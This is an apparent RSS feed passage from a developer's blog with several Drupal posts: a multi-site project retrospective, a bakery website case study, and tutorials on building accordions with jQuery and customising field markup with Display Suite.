&lt;h2&gt;Game highlights (aka project highlights)&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Building out the site structure using taxonomy&lt;/strong&gt;&lt;br&gt;
After a lot of thought, we did NOT go with Domain Access nor a multi-site implementation. We decided to create a site structure vocabulary to organise the sites. There were three parent terms, for Television, Radio and Magazines. Each site would be a child term in their respective categories and each section of the site would be a grandchild term. Is this the best method of doing things? Maybe, maybe not. But given the design constraints, this was the best method we could successfully implement while still hitting the deadline.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Creating generic views that can be customised through panels&lt;/strong&gt;&lt;br&gt;
So after going through all 27 sites, I realised that all the list components could be grouped according to the number of columns they had. The layouts ranged from one to four columns, with some variations for each. I created four content pane view displays for each layout and turned on settings as well as allowed argument inputs from the pane config. This allowed me to build all the customised content displays from only those four content panes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Using Themekey to render the themes for each site&lt;/strong&gt;&lt;br&gt;
Because all 27 sites were just one mega-site, the only way each term could have its own theme was through a module known as &lt;a href=&quot;https://www.drupal.org/project/themekey&quot;&gt;Themekey&lt;/a&gt;. It allows theme switching based on certain conditions, in our case, the rule was term IDs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Up-front effort on the parent theme sped up sub-theme development significantly&lt;/strong&gt;&lt;br&gt;
As everything theming-related came under my purview, it was my personal responsibility to ensure all 27 sites looked like their original counterparts. I had two weeks for this, and spent the first week fine-tuning the parent theme and the first sub-theme. I&apos;d be lying if I said I wasn&apos;t worried about hitting the deadline. Fortunately, the up-front effort paid out significant dividends in terms of speeding up development of each subsequent theme. Eventually I was cranking out 5 sub-themes a day due to the amount of code that could be re-used.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Post-game analysis (aka retrospective)&lt;/h2&gt;
&lt;p&gt;This was one of the most challenging projects I&apos;ve ever worked on. And yes, it was a stressful endeavour (I&apos;d like to think I&apos;m not the only person who thinks 27 sites in 30 days is challenging) but I learnt so much from this experience.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;&lt;strong&gt;Magazine sites&lt;/strong&gt;&lt;/figcaption&gt;
    &lt;img alt=&quot;Magazine sites&quot; src=&quot;/images/posts/xinmsn/magazines.jpg&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;I can&apos;t say enough about the importance of planning. And yet, it must be expected that things will not go according to plan. For all the preparation in the world, you will never be able to predict what happens during the game. The key to winning the game is the ability to react to game situations. Preparation provides the confidence required to make those game-time decisions.&lt;/p&gt;
&lt;p&gt;There were certain things that deviated from the original project plan because as we developed the site, we discovered new things that rendered the original idea infeasible. So we changed our approach when necessary. Our sole focus was to ensure the sites could go live by the deadline, hence all decisions revolved around this project objective.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;&lt;strong&gt;Radio sites&lt;/strong&gt;&lt;/figcaption&gt;
    &lt;img alt=&quot;Radio sites&quot; src=&quot;/images/posts/xinmsn/radios.jpg&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;This project would not have been successful without the cooperation and collaboration between all involved parties. The client was responsive and understanding.&lt;/p&gt;
&lt;p&gt;Most importantly, they trusted us to do our job well. And in return, it was our responsibility to keep them in the loop and updated throughout the entire process. Open communication, as well as always being cognizant of the project goal, was what kept us on track.&lt;/p&gt;
&lt;p&gt;To sum it up, this was project that was challenging, and even gruelling at times, but the harder the goal, the greater the feeling of accomplishment when it&apos;s conquered.&lt;/p&gt;
</content:encoded></item><item><title>The one built from 128 pictures of cakes</title><link>https://chenhuijing.com/blog/the-one-built-from-128-pictures-of-cake/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-built-from-128-pictures-of-cake/</guid><description>I have a habit of saying yes to requests before I realise I have never done said request before. I acknowledge that this is not an optimal strategy to adopt,…</description><pubDate>Sat, 18 Apr 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I have a habit of saying yes to requests before I realise I have never done said request before. I acknowledge that this is not an optimal strategy to adopt, and some day I&apos;ll get in trouble for this, but this post is about a time when things went right (well, let&apos;s just say nothing burned down).&lt;/p&gt;
&lt;p&gt;A close friend of mine makes customised cakes and needed a website, so I figured I&apos;d &lt;a href=&quot;https://web.archive.org/web/20151023084253/http://www.7lovebakery.com:80/&quot;&gt;build her one&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/7love/7love.jpg&quot; alt=&quot;7lovebakery.com&quot;&gt;&lt;/p&gt;
&lt;p&gt;All I had to start with, was 128 pictures of cakes and confectioneries. This made things really interesting. The good part about this project was that my friend was a great client. She trusted me to do my job well, and was always available to answer any questions I had about her business.&lt;/p&gt;
&lt;h2&gt;Understanding the business&lt;/h2&gt;
&lt;p&gt;The first thing I did was to just sit down and talk with her so I could really understand how her business worked. We covered typical questions like what products she offers, how much everything cost and so on. She walked me through how a typical order took place from start to delivery.&lt;/p&gt;
&lt;p&gt;I asked about the business itself, why she set it up in the first place, and how she felt about the business, so we could establish a suitable design direction. This also helped me with copy-writing for the site.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Key takeaways were:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;A majority of her customers would approach her with some theme in mind already&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Cakes were customised to fit her customers&apos; specific needs&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Other than word-of-mouth referrals, new customers approached her after seeing photos of cakes she made&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;She offered a fixed set of flavours and sizes&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;There is no physical store-front&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;There is no delivery service and customers would meet at designated pick-up locations&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;There were a number of questions that almost all customers would ask&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;There was a standard set of information she would need from her customers&lt;/li&gt;
    &lt;li class&gt;About half her customers were pre-dominantly Chinese-speaking&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Site architecture and content&lt;/h2&gt;
&lt;p&gt;The site would be built on Drupal (unsurprising, I know) and have multi-lingual functionality (just English and Chinese, really). I&apos;d done a number of multi-lingual setups by now so I was fully aware of how well Drupal handled multi-language (ergo, how easy my life would be).&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;It wouldn&apos;t be a complicated affair. Prospective customers who landed on the site could:&lt;/p&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;view pretty pictures of delicious cakes&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;find out how to order one&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;actually place an order and, if they&apos;re interested&lt;/li&gt;
    &lt;li&gt;learn more about the baker behind the goods&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Given that most customers had similar questions, I thought it made sense to have the answers to those questions laid out clearly on the site in the &lt;em&gt;How to order&lt;/em&gt; page. Contact options were made easily accessible so visitors didn&apos;t have to hunt for a way to contact the store.&lt;/p&gt;
&lt;h2&gt;Visual design&lt;/h2&gt;
&lt;p&gt;The bakery was essentially a one-woman operation, and cakes were made to order and delivered immediately after they were baked. Given the personalised nature of her products, I went with a warm and friendly colour palette.&lt;/p&gt;
&lt;p&gt;I wanted the site to feel welcoming, like you could almost smell the freshly baked cakes. The site&apos;s design was thus inspired by the look of small bakery store-fronts, the kind with canvas awnings above their store windows.&lt;/p&gt;
&lt;p&gt;My go-to resource for textures is &lt;a href=&quot;http://subtlepatterns.com/&quot;&gt;Subtle Patterns&lt;/a&gt;. Their name is self-explanatory. All the textures are free and you get both the normal and 2x versions in your download.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
&lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Canvas texture with stitching effect&lt;/figcaption&gt;
    &lt;img alt=&quot;Header texture&quot; src=&quot;/images/posts/7love/canvas.jpg&quot; /&gt;
&lt;/figure&gt;
&lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;CSS border images for the win!&lt;/figcaption&gt;
    &lt;img alt=&quot;Wavy border&quot; src=&quot;/images/posts/7love/awning.jpg&quot; /&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Continuing with the theme of old-school bakery, I decided on using wood textures for all the buttons and icons.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/7love/buttons.jpg&quot; alt=&quot;Wood texture buttons&quot;&gt;&lt;/p&gt;
&lt;p&gt;I was never formally trained in design school, so the idea of creating static mock-ups in Photoshop was, to me, a tiresome affair. By now, I had created quite a number of custom responsive themes from my &lt;a href=&quot;https://www.drupal.org/sandbox/hj_chen/2345293&quot;&gt;starter-kit&lt;/a&gt; so I was able to set it up quickly and make all my design decisions from the browser itself. I&apos;d like to take the time to show my appreciation for the fact that CSS can now do so many things and that devtools exist.&lt;/p&gt;
&lt;h2&gt;Site building&lt;/h2&gt;
&lt;p&gt;When I say multi-language Drupal, you say &lt;a href=&quot;https://www.drupal.org/project/i18n&quot;&gt;i18n&lt;/a&gt;. I cannot say enough about the robustness of Drupal&apos;s multi-language support and the fact that Drupal 8 is making it even better just brings a smile to my face.&lt;/p&gt;
&lt;p&gt;One another thing I tried out with this site was &lt;a href=&quot;http://isotope.metafizzy.co/&quot;&gt;Isotope&lt;/a&gt; for filtering of images. Turns out, there&apos;s already a module for that called &lt;a href=&quot;https://www.drupal.org/project/views_isotope&quot;&gt;Views isotope&lt;/a&gt;. The integration with Views is pretty smooth and didn&apos;t take too long set up.&lt;/p&gt;
&lt;p&gt;I also took some extra time on the contact form. I didn&apos;t want a twenty-field form that would turn customers off, but I still wanted to capture the information my friend required and streamline some of the communication between them.&lt;/p&gt;
&lt;p&gt;The logical solution to this problem would be conditional fields, where customers would only see and fill in the fields relevant to the type of cake they wanted.&lt;/p&gt;
&lt;h2&gt;Hosting and server set-up&lt;/h2&gt;
&lt;p&gt;My personal domain was registered through &lt;a href=&quot;http://www.namesilo.com/&quot;&gt;NameSilo&lt;/a&gt; and I never had any bad experiences with them, so I registered the domain name &lt;a href=&quot;http://7lovebakery.com&quot;&gt;7lovebakery.com&lt;/a&gt; with NameSilo as well. But web hosting was something I really had to think through.&lt;/p&gt;
&lt;p&gt;As a developer, I wanted to have full access to the server, and freedom to install whatever I needed (Git and Drush) without having to go through the technical team of the hosting company.&lt;/p&gt;
&lt;p&gt;After exploring a number of shared hosting services, I realised the best way to go was to have a dedicated server. But as a small business, my friend didn&apos;t have a big budget for this. I settled with using &lt;a href=&quot;https://www.digitalocean.com/&quot;&gt;DigitalOcean&lt;/a&gt; and I must say, that was a good decision.&lt;/p&gt;
&lt;p&gt;Even though I&apos;d never set up my own server before, the documentation is absolutely fantastic. DigitalOcean&apos;s &lt;a href=&quot;https://www.digitalocean.com/community/tutorials&quot;&gt;tutorials&lt;/a&gt; are extremely well-written and easy to follow (trust me, if someone like me can get it, anyone can).&lt;/p&gt;
&lt;p&gt;I admittedly nuked my first server because I messed it up, but how many people get it right the first time? And because it&apos;s so easy to start over (not to mention dirt cheap), it doesn&apos;t matter if you get it wrong the first time. For anyone who&apos;s interested in learning how to set up a web server, I strongly recommending doing all your experimentation on DigitalOcean.&lt;/p&gt;
&lt;p&gt;If a larger budget was available, I&apos;d actually go for a dedicated Drupal hosting platform like &lt;a href=&quot;https://pantheon.io/&quot;&gt;Pantheon&lt;/a&gt; or &lt;a href=&quot;https://www.acquia.com/&quot;&gt;Acquia&lt;/a&gt; because they handle Drupal updates for you.&lt;/p&gt;
&lt;p&gt;I&apos;ve had some experience with Acquia Cloud Enterprise and I must say, the response time is pretty quick. Definitely something to keep in mind for clients who can afford it.&lt;/p&gt;
&lt;h2&gt;Site optimisations and performance&lt;/h2&gt;
&lt;p&gt;Aside the from &lt;a href=&quot;/blog/drupal-101-basic-site-optimisations/&quot;&gt;basic site optimisations&lt;/a&gt; I do for every Drupal site I deploy, I also made use of &lt;a href=&quot;https://www.cloudflare.com/&quot;&gt;Cloudflare&lt;/a&gt; to speed it up. In this day and age, we can&apos;t have resource heavy sites clogging up our browser experience.&lt;/p&gt;
&lt;p&gt;All images used were run through Drupal&apos;s own image processor. I find it useful to run the site through performance tests just to check if there are any optimisations that I missed out.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Pingdom speed test&lt;/figcaption&gt;
    &lt;img alt=&quot;Pingdom speed test&quot; src=&quot;/images/posts/7love/pingdom.jpg&quot;&gt;
&lt;/figure&gt;
&lt;figure&gt;
    &lt;figcaption&gt;GTMetrix test&lt;/figcaption&gt;
    &lt;img alt=&quot;GTMetrix speed test&quot; src=&quot;/images/posts/7love/gtmetrix.jpg&quot;&gt;
&lt;/figure&gt;
&lt;h2&gt;Wrap-up&lt;/h2&gt;
&lt;p&gt;I&apos;m really fond of this project because I learnt so much from it, from visual design to server set-up. I may not be the best sysadmin or visual designer, but having gone through the process, I&apos;ve learnt to appreciate these roles even more.&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: An alternative method for accordions</title><link>https://chenhuijing.com/blog/drupal-101-alternative-accordion/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-alternative-accordion/</guid><description>Accordions are commonly used graphical control element. The Yahoo Design Pattern Library has a good explanation on the purpose of accordions, as well as…</description><pubDate>Mon, 06 Apr 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Accordions are commonly used graphical control element. The &lt;a href=&quot;https://web.archive.org/web/20160529103142/https://developer.yahoo.com/ypatterns/navigation/accordion.html&quot;&gt;Yahoo Design Pattern Library&lt;/a&gt; has a good explanation on the purpose of accordions, as well as recommendations on their usage.&lt;/p&gt;
&lt;p&gt;Accordions are usually used when you have limited space and a long list of related items. Seriously, the &lt;a href=&quot;https://web.archive.org/web/20160404131912/https://developer.yahoo.com/ypatterns/&quot;&gt;Yahoo Design Pattern Library&lt;/a&gt; is a valuable reference for all designers. I recommend you bookmark it.&lt;/p&gt;
&lt;p&gt;There are a number of Drupal modules that help implement accordions (just google drupal accordion), but they didn&apos;t really fit my particular use-case, so I did my accordions differently. This method was a little complicated and required some jQuery, but fit my use-case well.&lt;/p&gt;
&lt;h2&gt;Create the Accordion content type&lt;/h2&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Required modules&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/field_collection&quot;&gt;Field collection&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/entity&quot;&gt;Entity API&lt;/a&gt;&lt;em&gt; (dependency for Field collection)&lt;/em&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://www.drupal.org/project/ds&quot;&gt;Display Suite&lt;/a&gt;&lt;em&gt; (Optional: to manage the content display)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Install the required modules.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush dl field_collection entity -y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable the required modules.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush en field_collection entity -y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to &lt;code&gt;admin/structure/types/add&lt;/code&gt; and create a new content type, called Accordion.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add a new field of type &lt;em&gt;Field collection&lt;/em&gt; and set &lt;em&gt;Widget&lt;/em&gt; to &lt;em&gt;Embedded&lt;/em&gt;.You should also remove the default &lt;em&gt;Body&lt;/em&gt; field as it won&apos;t be used.
&lt;img src=&quot;/images/posts/accordion/content-type.jpg&quot; alt=&quot;Create content type&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set &lt;em&gt;Number of values&lt;/em&gt; to &lt;em&gt;Unlimited&lt;/em&gt;, because you want to be able to create as many accordion sections as you need.
&lt;img src=&quot;/images/posts/accordion/accordion-settings.jpg&quot; alt=&quot;Accordion field settings&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to &lt;code&gt;admin/structure/field-collections&lt;/code&gt; and you should see your newly created field.
&lt;img src=&quot;/images/posts/accordion/field-collection.jpg&quot; alt=&quot;Create field collection field&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click on &lt;em&gt;manage fields&lt;/em&gt; and add the fields you require. I only needed a title and body field.
&lt;img src=&quot;/images/posts/accordion/accordion-fields.jpg&quot; alt=&quot;Create accordion fields&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click on &lt;em&gt;manage fields&lt;/em&gt; and add the fie&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click on &lt;em&gt;Manage display&lt;/em&gt; and hide the labels for both fields. You probably should do the same for the &lt;em&gt;Accordion&lt;/em&gt; content type.
&lt;img src=&quot;/images/posts/accordion/accordion-display.jpg&quot; alt=&quot;Hide labels&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Optional steps: To setup display for the new content type&lt;/em&gt;
You can choose to use the default Drupal markup to write your accordion. But I find it neater to tweak the markup via Display Suite first. You don&apos;t have to do this if you don&apos;t want to. Instructions &lt;a href=&quot;/blog/drupal-101-display-suite-field-settings&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Writing the accordion functionality&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Note: I have tweaked my markup as per step 9 above, you may have to adjust your selectors accordingly.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;There are a couple of recommendations from the Yahoo Design Pattern Library on accordion presentation, like highlighting the current panel and having the most important panel open by default. I just chose to open the first panel by default.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The accordion functionality requires use of basic jQuery. There are a number of ways to add JavaScript to your site. I suggest reading &lt;a href=&quot;https://web.archive.org/web/20150810090412/http://wearepropeople.com:80/blog/7-ways-to-add-custom-js-and-css-to-a-page-in-drupal&quot;&gt;this article&lt;/a&gt; by &lt;a href=&quot;https://www.drupal.org/u/oresh&quot;&gt;Kirill Cebotari&lt;/a&gt; to familiarise yourself with all of them. I&apos;m using the second method, including it in the .info file of my theme.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you don&apos;t have one already, create a &lt;em&gt;js&lt;/em&gt; folder in your theme folder, and create a file called &lt;em&gt;script.js&lt;/em&gt; in this new folder.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;YOUR_THEME/
|-- _css/
|-- img/
|-- js/
|   |-- script.js  &amp;lt;-- This is where you&apos;ll write your code
|-- layouts/
|-- logo.png
|-- YOUR_THEME.info
|-- screenshot.png
|-- template.php
`-- templates/
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There are some best practices when using JavaScript in Drupal, and I strongly recommend everyone to read the &lt;a href=&quot;https://www.drupal.org/node/171213&quot;&gt;documentation&lt;/a&gt;. As a general tip, wrap your code in a closure.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(function ($) {
  $(document).ready(function () {
    // Place jQuery code here
  });
})(jQuery);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Display only the first accordion item on load.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;$(&amp;quot;.field-collection-item-field-accordion-content&amp;quot;).first().addClass(&amp;quot;active&amp;quot;);
$(&amp;quot;.field-collection-item-field-accordion-content:not(.active)&amp;quot;)
  .find(&amp;quot;.field-name-field-accordion-body&amp;quot;)
  .hide();
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Toggle the accordion item body when clicking on the accordion item title.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;$(&amp;quot;.field-name-field-accordion-title&amp;quot;).click(function (e) {
  e.preventDefault(); // prevent the default action
  e.stopPropagation(); // stop the click from bubbling
  if (!$(this).parent().hasClass(&amp;quot;active&amp;quot;)) {
    $(&amp;quot;.field-collection-item-field-accordion-content&amp;quot;).removeClass(&amp;quot;active&amp;quot;);
    $(this).parent().addClass(&amp;quot;active&amp;quot;);
    $(&amp;quot;.field-collection-item-field-accordion-content&amp;quot;)
      .find(&amp;quot;.field-name-field-accordion-body&amp;quot;)
      .slideUp();
    $(this).next().slideDown();
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Styling the accordion&lt;/h2&gt;
&lt;p&gt;The field collection module comes with some default styles that you may wish to override. The module&apos;s CSS file, &lt;code&gt;field&lt;em&gt;collection.theme.css&lt;/code&gt; is in the root of the _field_collection&lt;/em&gt; folder.&lt;/p&gt;
&lt;p&gt;My preferred method requires a module called &lt;a href=&quot;https://www.drupal.org/project/magic&quot;&gt;Magic&lt;/a&gt;. It&apos;s one of my favourite modules. You&apos;ll see why once you visit the project page. Magic provides a simple way to remove exclude stylesheets from core and contrib modules. You can also use the &lt;code&gt;hook_css_alter()&lt;/code&gt; function to exclude stylesheets, but unless you need to exclude stylesheets from libraries, Magic works brilliantly.&lt;/p&gt;
&lt;p&gt;Even when making changes to only one or two selectors, I still prefer to exclude the original stylesheet, then copy the required styles into my theme. I have a thing against repeating selectors to override them. Anyway, style your accordion any way you like. I chose to add an &lt;code&gt;active&lt;/code&gt; class to the active accordion item for easier styling.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/accordion/styles.jpg&quot; alt=&quot;Styling accordion&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Using the accordion with panels&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;I&apos;m assuming a level of familiarity with using Panels to display content.&lt;/em&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Navigate to the &lt;em&gt;Content&lt;/em&gt; section of your panel, and click the gear icon on the top left corner to add content.
&lt;img src=&quot;/images/posts/accordion/panel-content.jpg&quot; alt=&quot;Add panel content&quot;&gt;&lt;/li&gt;
&lt;li&gt;Click on &lt;em&gt;Existing node&lt;/em&gt; and enter the NID of the required accordion. Set &lt;em&gt;Build mode&lt;/em&gt; to &lt;em&gt;Full content&lt;/em&gt;, unless you have a specific view mode for how the accordion should be displayed.
&lt;img src=&quot;/images/posts/accordion/configure-node.jpg&quot; alt=&quot;Configure node&quot;&gt;&lt;/li&gt;
&lt;li&gt;You should see the title of your node in the layout. Remember to click &lt;em&gt;Update and save&lt;/em&gt;.
&lt;img src=&quot;/images/posts/accordion/panel-layout.jpg&quot; alt=&quot;Panel layout&quot;&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Wrapping things up&lt;/h2&gt;
&lt;p&gt;This is just one opinionated method of creating an accordion in Drupal. There are lots of other ways to do it, as with everything else in Drupal. I tend to use Panels quite a bit, so I felt this was a pretty Panels-friendly implementation. Another plus is that accordion content can be easily edited by content editors. Hopefully this can provide some inspiration for alternative ways of presenting content in Drupal.&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: Customising field markup with Display Suite</title><link>https://chenhuijing.com/blog/drupal-101-display-suite-field-settings/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-display-suite-field-settings/</guid><description>A minor complaint I often have about Drupal is the mess of markup it generates. Don&apos;t get me wrong, there are times when all those default classes help when it…</description><pubDate>Mon, 06 Apr 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A minor complaint I often have about Drupal is the mess of markup it generates. Don&apos;t get me wrong, there are times when all those default classes help when it comes to styling, but there are also times when there is so much nesting it puts Inception to shame. (This is a repeat joke, excuse me if you&apos;ve heard me mention it before.)&lt;/p&gt;
&lt;p&gt;This post actually came about because I was trying to include using Display Suite to set up fields as an optional step in the &lt;a href=&quot;/blog/drupal-101-alternative-accordion&quot;&gt;alternative method for accordions&lt;/a&gt; post. However, that step ended up being so ridiculously long it warranted its own post.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Install Display suite.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush dl ds -y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable Display Suite, Display Suite Extras and Display Suite UI.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush en ds ds_extras ds_ui -y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enabling Display Suite Extras allows you to customise field displays. If you go to &lt;code&gt;admin/structure/ds&lt;/code&gt;, you should see an &lt;em&gt;Extras&lt;/em&gt; section in the top right corner. Click on that, and check &lt;em&gt;Enable Field Templates&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;You can set the default field template for all fields on all your content types using Display Suite here. Unless you&apos;re certain you don&apos;t want any of Drupal&apos;s default markup, I recommend sticking to &lt;em&gt;Drupal defaults&lt;/em&gt; here and customising each field when you need to.
&lt;img src=&quot;/images/posts/field-template/ds-extras.jpg&quot; alt=&quot;Enable field templates&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Navigate to the &lt;em&gt;Manage display&lt;/em&gt; tab of a content type you want to use Display Suite with. Activate the display suite settings for your content type by choosing a layout and click Save. I&apos;m using &lt;em&gt;One column&lt;/em&gt; for this example.
&lt;img src=&quot;/images/posts/maps/display-suite.jpg&quot; alt=&quot;Turn on display suite&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Upon saving, you should now see &lt;em&gt;Field template&lt;/em&gt; options for your fields.
&lt;img src=&quot;/images/posts/field-template/ds-field-settings.jpg&quot; alt=&quot;DS field template&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click on the gear icon to reveal the field template settings. You have four options here, and all of them come with the option to hide the label colon:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Drupal default: The classic Drupal markup, deep and nested, just the way it&apos;s always been.
&lt;img src=&quot;/images/posts/field-template/drupal-default.jpg&quot; alt=&quot;Drupal default&quot;&gt;&lt;/li&gt;
&lt;li&gt;Full reset: For people who hate wrappers.
&lt;img src=&quot;/images/posts/field-template/full-reset.jpg&quot; alt=&quot;Full reset&quot;&gt;&lt;/li&gt;
&lt;li&gt;Minimal: Gives you one neat wrapper. I kind of like this option.
&lt;img src=&quot;/images/posts/field-template/minimal.jpg&quot; alt=&quot;Minimal&quot;&gt;&lt;/li&gt;
&lt;li&gt;Expert: For people who know exactly what they want. Has all the options from Drupal defaults for you to tweak.
&lt;img src=&quot;/images/posts/field-template/expert.jpg&quot; alt=&quot;Expert options&quot;&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So many options available! If you require your field to be of a certain HTML class, or if you want full control over additional HTML wrappers, this is your option. Prefix and suffix options included.
&lt;img src=&quot;/images/posts/field-template/expert-2.jpg&quot; alt=&quot;Expert options&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As someone who builds a lot of custom Drupal 7 themes, the Display Suite field template customisation options have proven extremely valuable to my styling efforts. Much better than filling up your &lt;em&gt;templates&lt;/em&gt; folder with field.tpl.php files (please don&apos;t do that, just...don&apos;t.)&lt;/p&gt;
</content:encoded></item><item><title>The one where I grok jQuery</title><link>https://chenhuijing.com/blog/the-one-where-i-grok-jquery/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-where-i-grok-jquery/</guid><description>My next assignment was actually with the very first client I ever worked with. Repeat client! This time, the task was to revamp two key sections of the…</description><pubDate>Mon, 06 Apr 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;My next assignment was actually with the very first client I ever worked with. Repeat client! This time, the task was to revamp two key sections of the website. If you read my &lt;a href=&quot;/blog/the-one-that-came-first/&quot;&gt;previous account&lt;/a&gt; of the first project, you may remember that this site was a direct port from HTML.&lt;/p&gt;
&lt;p&gt;There wasn&apos;t much design input on our part then, as the objective was to get the site up and functioning. Now that everything was working properly, it was time to implement some design improvements.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/temple/emba.jpg&quot; alt=&quot;Pre-revamp EMBA&quot;&gt;&lt;/p&gt;
&lt;p&gt;When the first iteration of the site was built, all the sections of the site were simply basic pages. All the content was input with the WYSIWYG editor in the body field. A lot of the value proposition was lost in the long block of text. There were no obvious call-to-actions and key information was buried somewhere down the page or only accessible via links within the text.&lt;/p&gt;
&lt;p&gt;With only a single body field to work with, content editors were nervous about editing because they were concerned that they would mess up the layout. Most content editors were not very familiar with HTML and relied heavily on the WYSIWYG toolbar to format the long block of content.&lt;/p&gt;
